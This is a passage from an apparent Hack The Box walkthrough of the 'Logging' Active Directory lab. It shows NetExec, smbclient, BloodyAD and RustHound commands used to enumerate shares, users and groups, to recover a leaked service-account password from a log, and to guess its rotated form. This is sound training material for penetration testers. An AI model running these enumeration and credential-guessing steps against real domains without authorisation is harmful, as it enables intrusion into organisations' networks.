<strong>HTB</strong> machine and navigate into it:</li></ul><pre>mkdir -p HTB/Logging</pre><pre>cd HTB/Logging</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*678zcmaPqmUhn2uonWmj2g.png" /><figcaption>Workspace Setup</figcaption></figure><h3>Verifying Connectivity</h3><ul><li>Before we invest our time in enumeration, we need to confirm that the target is reachable across the network.</li><li>A simple <strong>ICMP echo request</strong> is sufficient for this purpose:</li></ul><pre>ping -c 3 10.129.245.130</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yoTS1jQRwsYsMfdn8e9m9Q.png" /><figcaption>Connectivity Verification</figcaption></figure><ul><li>The results indicate that the host is alive and responding to <strong>ICMP requests</strong>.</li><li>The returned <strong>TTL</strong> value of <strong>127</strong> also provide an early indication that the Operating System is likely <strong>Windows</strong>.</li><li>Windows Systems typically begin with a <strong>TTL</strong> of <strong>128</strong>, and after crossing a single network hop, the value becomes <strong>127</strong> (one hop away probably because the machine is in a VM).</li><li>With connectivity confirmed, the next logical step is identifying the services exposed by the target.</li></ul><h3>Network Enumeration</h3><ul><li>Port scanning provides the first real insight into the target’s attack surface.</li><li>A comprehensive scan was executed where -sC allows common enumeration scripts to gather additional information, -sV attempts service version detection, --reason explains why Nmap believes each port is in a particular state, while also exposing the TTL values and oN stores the results in a human-readable format for future reference.</li></ul><pre>sudo nmap -sCV --reason -oN logging.nmap 10.129.245.130</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Xz_3lL6xHOxWwEa9LWT4A.png" /><figcaption>Nmap Scan Results</figcaption></figure><p>The scan reveals several critical services:</p><ul><li><strong>Port </strong><strong>53 (DNS)</strong> - Indicates the host performs DNS services and is likely acting as a Domain Controller</li><li><strong>Port </strong><strong>80 (IIS)</strong> - Hosts Microsoft IIS web server</li><li><strong>Port </strong><strong>88 (Kerberos)</strong> - Strong indicator of an Active Directory Environment</li><li><strong>Port </strong><strong>389/</strong><strong>636 (LDAP)</strong> - LDAP can be used for user and group enumeration in an Active Directory</li><li><strong>Port </strong><strong>445 (SMB)</strong> - Windows file sharing (allows share enumeration and file access)</li><li><strong>Port </strong><strong>5985 (WinRM)</strong> - Remote PowerShell Management</li><li><strong>Port </strong><strong>3268/</strong><strong>3269 (Global Catalog LDAP)</strong> - Typical Domain Controller Services</li><li><strong>Kerberos</strong> and <strong>LDAP</strong> are both exposed. This strongly indicates that the target is functioning as an <strong>Active Directory Domain Controller</strong>.</li></ul><p>The LDAP certificate reveals multiple Subject Alternative Names:</p><ul><li><strong>DC01.logging.htb — </strong>Fully Qualified Domain Name (FQDN)</li><li><strong>logging.htb — </strong>Domain</li><li><strong>logging</strong></li><li><strong>DC01 — </strong>Hostname</li></ul><p>The web server running Microsoft IIS may eventually become useful, but the presence of <strong>LDAP</strong>, <strong>SMB</strong>, <strong>Kerberos</strong> and <strong>WinRM</strong> strongly suggests that the primary attack path will involve <em>Active Directory</em> rather than a <em>Web Application</em>.</p><p><em>SMB signing</em> is reported as <strong>enabled</strong> and <strong>required</strong>, hence common relay attacks against SMB will not be possible.</p><h3>Configuring Local Name Resolution</h3><ul><li>Many Active Directory tools rely on <em>DNS resolution</em> rather than raw IP addresses.</li><li>While it is technically possible to enumerate the domain using only the IP address, <em>Kerberos authentication</em>, <em>LDAP queries</em>, <em>Bloodhound data collection </em>and many other tools we’ll use expect the target hostname to resolve correctly.</li><li>Instead of manually editing the /etc/hosts , NetExec conveniently generates the required host entries:</li></ul><pre>nxc smb 10.129.245.130 --generate-hosts-file logging_hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2wjVq_qHUEOXVOC4MgJUsQ.png" /><figcaption>Generating Host Entries</figcaption></figure><p>The generated file contains:</p><ul><li>10.129.245.130 DC01.logging.htb logging.htb DC01</li></ul><p>Appending these entries to the system hosts file ensures that both the domain controller and the Active Directory domain resolve correctly:</p><pre>cat logging_hosts | sudo tee -a /etc/hosts</pre><ul><li>After updating the hosts file, it is good practice to verify the contents</li></ul><h3>Web Enumeration</h3><ul><li>The Nmap scan revealed that <em>Microsoft IIS</em> is listening on <strong>TCP port 80</strong>.</li><li>Whenever a web service is exposed, it deserves investigation regardless of whether it appears related to the intended attack path.</li><li>Navigating to the website https://logging.htb/ reveals the default IIS landing page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JuuUT35nriTR555vM6N7-Q.png" /><figcaption>Microsoft IIS Homepage</figcaption></figure><ul><li>The page contains no obvious functionality, login portal or application-specific content.</li><li>Instead, it displays the standard Microsoft IIS welcome page.</li><li>This immediately raises an important question:</li></ul><blockquote>Is the web server actually part of the challenge, or is it simply a default installation?</blockquote><ul><li>Rather than dismissing it immediately, further fingerprinting is performed.</li></ul><h3>Inspecting HTTP headers</h3><ul><li>A quick request for the response headers provide additional information about the web server:</li></ul><pre>curl -I http://logging.htb/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqJHXkE01OPiljbuBlFUSg.png" /><figcaption>Microsoft IIS HTTP Headers</figcaption></figure><ul><li>Although these headers confirm that IIS 10.0 and ASP.NET are installed, they do not reveal any custom applications, hidden directories or virtual hosts.</li><li>Combined with the default IIS landing page observed earlier, there is currently little evidence that the web server represents the primary attack vector.</li></ul><blockquote>Many penetration testers become fixated on the first exposed web service they encounter, spending significant time fuzzing directories and testing for web vulnerabilities.</blockquote><blockquote>However, the remainder of the attack surface tells a different story.</blockquote><blockquote>The presence of <strong>Kerberos</strong>, <strong>LDAP</strong>, <strong>SMB</strong>, <strong>Global Catalog</strong>, <strong>WinRM </strong>strongly suggests that the machine is designed around Active Directory rather than web exploitation.</blockquote><blockquote>Instead of wasting valuable time forcing an unlikely attack path, the investigation shifts toward authenticated domain enumeration.</blockquote><blockquote>The ability to prioritize promising attack vectors is often what distinguishes efficient penetration testing from blind enumeration.</blockquote><h3>Starting from an Assumed Breach</h3><ul><li>The challenge focuses on how much damage can be done once the attacker gains access to a legitimate account rather than asking us to obtain the first foothold.</li><li>The supplied credentials are stored locally for convenience: wallace.everette:Welcome2026@</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NovgtnqMvbb9RIxR70Dy5A.png" /><figcaption>Storing Assumed Breach Credentials Locally</figcaption></figure><ul><li>At first glance, possessing valid credentials might suggest that remote access is immediately possible. However, Windows authentication is considerably more granular than simply<em> “valid”</em> or<em> “invalid”.</em> An account may authenticate successfully to LDAP while being denied SMB. It may access SMB while being blocked from WinRM. It may authenticate to Kerberos while lacking interactive logon rights.</li><li>Therefore, the first objective is not obtaining a shell. Instead, it is determining exactly what permissions this account possesses across the exposed services.</li></ul><h3>Validating the Credentials</h3><ul><li>Based on the Nmap scan, three services immediately stand out as useful authentication targets <strong>SMB, LDAP</strong> and <strong>WinRM</strong>.</li><li>Each service is tested individually using NetExec</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n9_J_vlZ85ySLmH2F9Xy1Q.png" /><figcaption>Testing Credentials over SMB, LDAP and WinRM</figcaption></figure><h4>SMB Authentication</h4><pre>nxc smb DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39;</pre><p>The authentication <strong>succeeds</strong>.</p><p>This confirms several things simultaneously:</p><ul><li>First, the <em>credentials are valid</em>.</li><li>Secondly, <em>SMB permits this user to authenticate successfully</em>.</li><li>Finally, <em>SMB enumeration becomes a viable attack path moving forward</em>.</li></ul><h4>LDAP Authentication</h4><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39;</pre><ul><li>Once again the authentication succeeds.</li><li>The result is particularly viable.</li><li>LDAP access often enables enumeration of <em>Domain Users, Groups, Organizational Units, Service Accounts, Descriptions, Password Policies </em>and<em> Group Memberships</em>.</li><li>Even without administrative privileges, authenticated LDAP access frequently exposes enough information to uncover additional attack paths.</li><li>This significantly expands the amount of reconnaissance that can be performed.</li></ul><h4>WinRM Authentication</h4><pre>nxc winrm DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39;</pre><ul><li>Unlike the previous tests, authentication fails.</li></ul><blockquote>This failure should not be interpreted as incorrect credentials. The same username and password authenticated successfully against both SMB and LDAP.</blockquote><ul><li>Instead, the result indicates that the account lacks authorization required to establish a remote management session.</li><li>This distinction is important. Authentication and authorization are separate concepts. The credentials are<strong> unquestionably valid</strong>.</li><li>Consequently, an interactive PowerShell session is currently <strong>unavailable</strong>.</li><li>Rather than attempting to force WinRM access through repeated testing, the focus shift toward information gathering using the services that do accept authentication.</li></ul><h4>Interpreting the Authentication Results</h4><ul><li><strong>SMB → Success </strong>— Files shares can be enumerated and accessed according to assigned permissions</li><li><strong>LDAP → Success</strong> — Active Directory enumeration can begin immediately</li><li><strong>WinRM → Denied</strong> — No interactive remote shell is currently available</li><li>Although the inability to obtain an immediate shell may initially appear disappointing, it actually helps narrow the investigation.</li><li>Since <strong>remote command execution</strong> is unavailable, the most logical objective becomes discovering additional credentials or privilege escalation opportunities through authenticated enumeration.</li><li>Fortunately, Windows environments frequently expose sensitive information through shared folders.</li><li>The next phase therefore focuses on identifying every <strong>SMB share</strong> accessible to the compromised user account.</li><li>If configuration files, scripts, backups or log files are exposed, they may reveal credentials, internal infrastructure or other information capable of advancing the attack.</li></ul><h3>SMB Enumeration and Information Disclosure</h3><ul><li>The objective now is to enumerate every available SMB share and determine whether the compromised account has access to data that can facilitate further privilege escalation.</li></ul><h4>Enumerating accessible SMB shares</h4><ul><li>The first step is identifying which shared folders are accessible to the compromised account.</li><li>NetExec provides a straightforward way to enumerate SMB shares while authenticating with the supplied credentials</li></ul><pre>nxc smb DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pn9xZnwYoLzMcwiPbJKh6w.png" /><figcaption>SMB Share Enumeration</figcaption></figure><p>The enumeration returns several familiar administrative shares together with two particularly interesting custom shares.</p><ul><li><strong>ADMIN$</strong> - Administrative share used for remote administration</li><li><strong>C$</strong> - Default administrative share exposing the system drive</li><li><strong>IPC$</strong> - Inter-Process Communication share used by Windows service</li><li><strong>NETLOGON</strong> - Stores domain logon scripts and authentication resources</li><li><strong>SYSVOL</strong> - Contains Group Policy Objects and domain-wide configuration files</li></ul><p>While these shares are expected, the <strong>Logs</strong> and <strong>WSUSTemp</strong> immediately stands out.</p><ul><li>Unlike the default administrative shares created by Windows, <strong>Logs</strong> appears to be application-specific. Custom shares often contain operational data such as debug output, synchronization logs, scheduled task results or deployment artifacts — all of which have the potential to expose sensitive internal information.</li><li>Since the compromised user has read access to this share, it becomes the primary focus of the investigation.</li></ul><h4>Exploring the Logs Share</h4><ul><li>Instead of manually browsing every directory, NetExec&#39;s spider_plus module can recursively enumerate and download accessible files:</li></ul><pre>nxc smb DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Be9AeDEIVrMkyit9RfmXg.png" /><figcaption>Downloading files using NetExec’s spider_plus module</figcaption></figure><ul><li>After the module completes, we can verify that the files were downloaded through:</li></ul><pre>ls</pre><ul><li>Inspecting the directory structure (shares) gives us an overview of everything collected:</li></ul><pre>tree shares</pre><ul><li>The module also produces a <strong>JSON</strong> inventory describing every downloaded file:</li></ul><pre>cat shares/10.129.245.130.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6tdMGVTB6DBAc5P2xlzATw.png" /><figcaption>Shares Directory Structure</figcaption></figure><ul><li>This confirms that<em> four log files</em> were downloaded from the <strong>Logs</strong> share together with the accessible <em>Group Policy files</em> stored in <strong>SYSVOL</strong>.</li><li>Although Group Policy files are always worth inspecting for items such as <em>scheduled tasks, scripts</em> or <em>Group Policy Preferences (GPP) passwords</em>, nothing immediately suspicious is present. The custom log files, however, deserve closer attention.</li><li>For completeness, the same files can also be retrieved directly using smbclient</li><li>First, enumerate the contents of the shares:</li></ul><pre>smbclient //logging.htb/Logs -U wallace.everette%Welcome2026@ -c &#39;ls&#39;</pre><ul><li>Trying to list the contents of WSUSTemp share results in an NT_STATUS_ACCESS_DENIED error probably because we don&#39;t have sufficient permissions to access this particular share:</li></ul><pre>smbclient //logging.htb/WSUSTemp -U wallace.everette%Welcome2026@ -c &#39;ls&#39;</pre><ul><li>To download every file from the <strong>Logs</strong> share:</li></ul><pre>smbclient //logging.htb/Logs -U wallace.everette%Welcome2026@ -c &#39;recurse ON; prompt OFF; mget *&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MXRjc1vxSkZ5mYblr8SnEg.png" /><figcaption>Downloading the Log Files</figcaption></figure><h4>Analyzing the Log Files</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjDbj1RgimhiRybRthUaKw.png" /><figcaption>Log Files Analysis</figcaption></figure><ul><li>The directory listing reveals several log files generated by an internal application responsible for identity synchronization:</li></ul><p>Audit_Heartbeat.log</p><ul><li>This file contains only <em>periodic health checks</em> confirming that the service remained operational. No credentials, configuration information or error messages are exposed, making it <em>low-value</em> from an attacker’s perspective.</li></ul><p>Service_State.log</p><ul><li>The log records normal service start and stop events. While useful for understanding when the IdentitySync service was restarted, it does not expose any immediately exploitable information.</li></ul><p>TaskMonitor.log</p><ul><li>The task monitoring log is straightforward. From this we learn that a scheduled task named UpdateChecker Agent is periodically monitored. Although it is not useful yet, the task name is worth remembering because it may become relevant later during our investigation.</li></ul><p>IdentitySync_Trace_20260219.log</p><p><strong>Key Findings:</strong></p><ul><li><strong>SQL Backend</strong> — The service connects to HR01.logging.htb and synchronizes employee records from the loggingHR database</li><li><strong>LDAP Integration</strong> — The synchronization engine authenticates against Active Directory using a dedicated service account.</li><li><strong>Critical Finding</strong> — The application logs its LDAP connection context, exposing both the service account username and its password <strong>svc_recovery:Em3rg3ncyPa$$2025</strong></li><li>Logging credentials in plaintext is severe operational security issue because anyone with access to these logs can recover privileged service credentials.</li><li>However, the subsequent LDAP error indicate that these credentials are <em>no longer valid</em>. This strongly suggests that the password has been changed since the application was last configured, leaving the software attempting to authenticate with an outdated password.</li></ul><h3>Testing the Leaked Credentials</h3><ul><li>The log provides what appears to be a valid set of service account credentials. Before assuming the password is simply outdated, it is worth testing it against the Domain Controller.</li><li>First, authenticate over SMB using the credentials from the log:</li></ul><pre>nxc smb DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2025&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4NDd1KKlJGNWoNtO7Uv-zw.png" /><figcaption>svc_recovery Credentials SMB Authentication</figcaption></figure><ul><li>Interestingly, the authentication does not fail with <strong>STATUS_LOGON_FAILURE</strong>, which would normally indicate an incorrect username or password. Instead, the server returns <strong>STATUS_ACCOUNT_RESTRICTION</strong>.</li><li>This response suggests that the account exists, but the authentication attempt is being blocked because of an account policy or authentication restriction rather than a simple login failure. Since SMB uses <em>NTLM by default</em>, one possibility is that the account is configured to <strong>disallow</strong> this authentication method.</li><li>To verify whether the credentials themselves are valid, we can repeat the test using Kerberos authentication.</li><li>NetExec supports Kerberos authentication using the -k flag:</li></ul><pre>nxc smb DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2025&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6R9kiJsK8FTHs3-3qHBqvA.png" /><figcaption>svc_recovery Credentials SMB Authentication over Kerberos</figcaption></figure><ul><li>This time the <em>Key Distribution Center (KDC)</em> returns <strong>KDC_ERR_PREAUTH_FAILED</strong>, which is a much stronger indicator that the supplied password is <strong>incorrect</strong>. During Kerberos pre-authentication, the client proves knowledge of the user&#39;s secret by encrypting a timestamp with a key derived from the password. If the KDC cannot successfully decrypt the timestamp, it responds with <strong>KDC_ERR_PREAUTH_FAILED</strong>, confirming that the password used to derive the key is invalid.</li><li>This aligns perfectly with what we observed in the IdentitySync_Trace_20260219.log. The application was attempting to bind to LDAP using the password Em3rg3ncyPa$$2025, but the log itself recorded an <strong>LDAP_INVALID_CREDENTIALS</strong> error. In other words, the credentials embedded within the application logs are stale and no longer work.</li><li>Although the leaked password cannot be used directly, it provides an important clue. Organizations often rotate passwords by making only minor changes — for example,<em> incrementing a year, month or version number</em>. Given the naming convention, it is reasonable to suspect that the current password may be a slight variation of Em3rg3ncyPa$$2025.</li><li>Rather than blindly guessing password, we will focus on Active Directory itself to determine whether additional information can help us infer or recover the current credentials for the svc_recovery service account.</li></ul><h3>Active Directory Enumeration and Recovering the Current Service Account Password</h3><ul><li>Our focus would no longer be <strong>LDAP enumeration</strong>; instead, it becomes an investigation into <em>why the leaked credentials failed</em> and <em>how to recover the current password</em>.</li><li>Although IdentitySync logs leaked credentials for the svc_recovery service account, our authentication attempts confirmed that they were no longer valid.</li><li>At this stage, blindly guessing a new password would be unreliable. Instead, we shift our attention to Active Directory itself. Since we already possess valid credentials for wallace.everette, LDAP becomes our primary source of information. Our objective is to determine whether the svc_recovery account has changed recently and whether any metadata can help us infer the current password.</li></ul><h4>Enumerating Domain Users</h4><ul><li>NetExec&#39;s <em>LDAP module</em> allows us to enumerate all <strong>active user accounts</strong> together with the timestamp indicating when each password was last changed:</li></ul><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --active-users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OpIOmzZ-z5xURkXgBskyNQ.png" /><figcaption>LDAP Active Users Enumeration</figcaption></figure><p>The output reveals something immediately interesting:</p><ul><li>svc_recovery 2026-04-17 00:09:49</li><li>Recall that the password exposed in the application logs was Em3rg3ncyPa$$2025</li><li>However, the service account’s <strong>Password Last Set</strong> timestamp indicates that the password was modified <strong>after</strong> the log file was generated. This perfectly explains why <em>both LDAP and Kerberos rejected the leaked credentials</em>.</li><li>At this point, another clue becomes apparent. The password follows a structured naming convention: Em3rg3ncyPa$$2025</li><li>In enterprise environments, service account passwords are often rotated by making only small modifications while retaining the overall format — for example <em>incrementing a year</em>. Given that the machine itself is themed around the year <strong>2026</strong>, it is reasonable to hypothesize that the password was updated to: <strong>Em3rg3ncyPa$$2026</strong></li><li>Rather than immediately assuming this is correct, we continue gathering information about the account to strengthen our understanding of its role within the domain.</li></ul><h4>Enumerating the Service Account</h4><ul><li>Instead of limiting ourselves to password timestamps, we inspect the complete Active Directory object associated with svc_recovery:</li></ul><pre>bloodyad -d logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; -k -H DC01.logging.htb get object svc_recovery</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44NQGLuKEWOuG6hdnf0shQ.png" /><figcaption>Enumerating Service Account Attributes using BloodyAD</figcaption></figure><p>Several interesting attributes stand out:</p><ul><li>The account belongs to the <strong>Emergency Recovery</strong> group.</li><li>It is also a member of <strong>Protected Users</strong>, meaning <em>NTLM authentication</em> and <em>credential delegation</em> protections are enforced.</li><li>The password is configured to <strong>never expire</strong> (DONT_EXPIRE_PASSWORD)</li><li>The membership in <strong>Protected Users</strong> also sheds light on the authentication behavior we observed earlier. While the incorrect password ultimately caused the Kerberos pre-authentication failure, this privileged group enforces stricter authentication policies that make <em>Kerberos the expected authentication mechanism for the account</em>.</li><li>At this point, we have enough confidence to test our hypothesis regarding the updated password.</li></ul><h4>Validating Service Account Credentials</h4><ul><li>Before relying on the recovered service account, the credentials must be verified.</li><li>The first authentication attempt is made using <strong>SMB</strong>:</li></ul><pre>nxc smb DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oXprfRT64EbgLqVtP941Jg.png" /><figcaption>Service Account Credentials Authentication</figcaption></figure><ul><li>The authentication unexpectedly fails. At first glance, this might suggest that the password is incorrect. However, another possibility exists evidenced by the <strong>KRB_AP_ERR_SKEW</strong> error. Kerberos authentication is extremely sensitive to time synchronization. Even small clock differences between the attacking machine and the Domain Controller can cause authentication failures.</li><li>The local system clock is synchronized with the target:</li></ul><pre>sudo ntpdate 10.129.245.130</pre><ul><li>After correcting the time skew, the authentication is repeated:</li></ul><pre>nxc smb DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39; -k</pre><ul><li>This time, authentication <strong><em>succeeds</em></strong>.</li><li>This serves as an important reminder that <em>Kerberos-related failures</em> should always prompt<em> verification of system time</em> before concluding that the credentials are <em>invalid</em>.</li><li>The credentials are subsequently tested against the remaining services (LDAP &amp; WinRM):</li></ul><pre>nxc ldap DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39; -k</pre><ul><li><strong><em>Successful Authentication</em></strong><em>.</em></li></ul><pre>nxc winrm DC01.logging.htb -u svc_recovery -p &#39;Em3rg3ncyPa$$2026&#39;</pre><ul><li><strong><em>Authentication Denied!</em></strong></li><li>Once again, the <em>lack of WinRM</em> access <strong>should not</strong> be interpreted as incorrect credentials. Instead, it simply indicates that the account lacks the authorization required for remote management.</li><li>While interactive shell access remains unavailable, authenticated LDAP enumeration becomes even more valuable.</li></ul><h4>Enumerating Privileged Groups</h4><ul><li>With a better understanding of the recovered account, attention shifts toward identifying the domain’s <strong>privileged users</strong>.</li><li>Knowing which accounts belong to administrative groups helps prioritize future attack paths and provides valuable context when analyzing ACLs and delegation rights.</li><li>The local <strong>Administrators</strong> group is queried first:</li></ul><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --groups &quot;Administrators&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZufBhayigThfqbiGkFVqTg.png" /><figcaption>Privileged Groups Enumeration</figcaption></figure><p>The results reveal:</p><ul><li>Administrator</li><li>Enterprise Admins</li><li>Domain Admins</li><li>toby.brynleigh</li><li>Although nested groups such as Enterprise Admins and Domain Admins are expected members of the local <strong>Administrators</strong> group, one user account immediately stands out: <strong>toby.brynleigh</strong></li><li>Unlike the built-in <strong>Administrator</strong> account, this appears to be a standard user with administrative privileges.</li><li>Any future compromise of this account would almost certainly lead to complete domain compromise.</li><li>To confirm its level of privilege, the <strong>Domain Admins</strong> group is enumerated directly:</li></ul><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --groups &quot;Domain Admins&quot;</pre><ul><li>The output confirms that the group contains only Administrator and toby.brynleigh</li><li>This establishes toby.brynleigh as one of the highest-value targets within the domain.</li></ul><h4>Enumerating Additional Security Groups</h4><ul><li>Beyond the well-known administrative groups, custom organizational groups can also reveal useful information about the environment.</li><li>Enumerating every group provides a broader understanding of the organization’s structure:</li></ul><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --groups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A61YzqjPTVLjoUZ5LtwhJg.png" /><figcaption>Custom Group Enumeration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HB4L2e1BmgKPclT3e1MBLw.png" /><figcaption>Custom Group Enumeration Cont’</figcaption></figure><p>Several interesting groups emerge during enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9OdD2at5Dj7OqnRhdIBaUQ.png" /><figcaption>Protected Users, IT &amp; HR Groups Enumeration</figcaption></figure><p><strong>Protected Users</strong></p><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --groups &quot;Protected Users&quot;</pre><ul><li><strong>Members</strong>: Administrator and svc_recovery</li><li>The inclusion of the recovered service account confirms the information previously obtained through BloodyAD.</li></ul><p><strong>IT</strong></p><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --groups &quot;IT&quot;</pre><ul><li><strong>Member</strong>: jaylee.clifton</li><li>Although not immediately useful, departmental groups often become relevant later when analyzing delegated permissions or access control lists.</li></ul><p><strong>HR</strong></p><pre>nxc ldap DC01.logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; --groups &quot;HR&quot;</pre><ul><li><strong>Member</strong>: wellington.kylan</li><li>Like the IT group, this provides additional context regarding the domain’s organizational structure.</li></ul><h4>Visualizing the Domain with BloodHound</h4><ul><li>While command-line enumeration provides valuable information, understanding relationships between <em>users, groups, computers</em>, and <em>delegated permissions</em> becomes increasingly difficult as environments grow.</li><li>Tools such as <strong>BloodHound</strong> simplify this process by collecting Active Directory objects and presenting them as an <em>interactive graph</em>. From a single interface, it becomes possible to visualize <em>group memberships, delegated rights, ACLs,</em> and <em>potential privilege escalation paths</em> that may be difficult to identify manually.</li><li>In this environment, the same user, group, and membership information retrieved through NetExec and BloodyAD can also be observed within BloodHound. As the assessment progresses, BloodHound will become invaluable for identifying the relationships that ultimately lead to domain compromise.</li></ul><h3>Mapping Active Directory Relationships with Bloodhound and Abusing GMSA Permissions</h3><ul><li>Up to this point, the engagement has focused primarily on gathering information and validating credentials. The original user account led to the discovery of a privileged service account, and subsequent LDAP enumeration provided valuable insight into the domain’s structure. However, the critical question remains:</li></ul><blockquote>How can the recovered service account be leveraged to obtain additional privileges?</blockquote><ul><li>Answering this question manually by inspecting <em>Access Control Lists (ACLs), delegated permissions</em>, and <em>object relationships</em> across Active Directory would be extremely time-consuming. While tools such as NetExec and BloodyAD excel at targeted enumeration, they are less effective at visualizing complex privilege relationships across an entire domain.</li><li>This is where <strong>BloodHound</strong> becomes indispensable.</li><li>BloodHound models Active Directory as a<em> graph database</em>, allowing attackers to identify privilege escalation paths that would otherwise be difficult to recognize through <em>raw LDAP</em> output alone. By collecting objects and relationships from the domain, BloodHound transforms thousands of directory entries into an <em>interactive graph </em>that highlights relationships between <em>users, groups, computers</em>, and <em>service accounts</em>.</li><li>Rather than blindly testing every permission, BloodHound enables us to focus on relationships that can be directly abused.</li></ul><h4>Collecting Active Directory Data</h4><ul><li><strong>RustHound-CE</strong> is used for this purpose:</li></ul><pre>rusthound-ce -d logging.htb -u wallace.everette -p &#39;Welcome2026@&#39; -z</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V7O2a5iKnW3ltQtcvL7xfA.png" /><figcaption>Active Directory Objects Data Collection using RustHound-CE</figcaption></figure><ul><li>RustHound-CE performs authenticated LDAP enumeration and gathers information about: <em>Domain Users, Groups, Organizational Units, Computers, Group Memberships, ACLs, Delegated Permissions, Group Managed Service Accounts (GMSAs)</em></li><li>Rather than generating JSON files individually, the -z option automatically compresses the collected data into a <em>ZIP archive</em> compatible with BloodHound.</li></ul><h4>Importing Data into BloodHound</h4><ul><li>With the collection complete, BloodHound is launched (I’m using the Docker-Compose version).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhlWLsHiuvsEC3ipoC_ykw.png" /><figcaption>Launching BloodHound</figcaption></figure><p>Once the BloodHound interface is available:</p><ul><li>Authenticate to the BloodHound database.</li><li>Navigate to <strong>Quick Upload</strong> or if it is the first time launching BloodHound, clicking <strong>Explore</strong> offers an interface to upload the zip file.</li><li>Select the ZIP archive generated by <strong>RustHound-CE</strong>.</li><li>Wait for the ingestion process to complete.</li><li>Once imported, BloodHound populates the graph with every collected Active Directory object and the relationships that connect them.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isKcacYC75fJ_vlqzpyKRQ.png" /><figcaption>Uploading the Zip File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KWG72_yGOL4qm_Lw5YHFUQ.png" /><figcaption>Checking the Ingestion Progress</figcaption></figure><h4>Investigating the Initial User</h4><ul><li>The first account examined is the originally compromised user: wallace.everette</li><li>BloodHound provides several tabs describing the account’s relationships within the domain.</li></ul><p>The most relevant include:</p><ul><li><strong>Member Of </strong>— which groups the user belongs to.</li><li><strong>Outbound Object Control </strong>— Which objects this user can control or modify.</li><li><strong>Inbound Object Control </strong>— Which principals can control this user.</li></ul><p><strong>Member Of</strong></p><ul><li>The <strong>Member Of</strong> tab confirms that wallace.everette is an ordinary domain user with no membership in privileged administrative groups.</li><li>Nothing immediately suggests elevated privileges or delegated administrative rights.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-oEITylzyyYTkLeu3_row.png" /><figcaption>wallace.everette 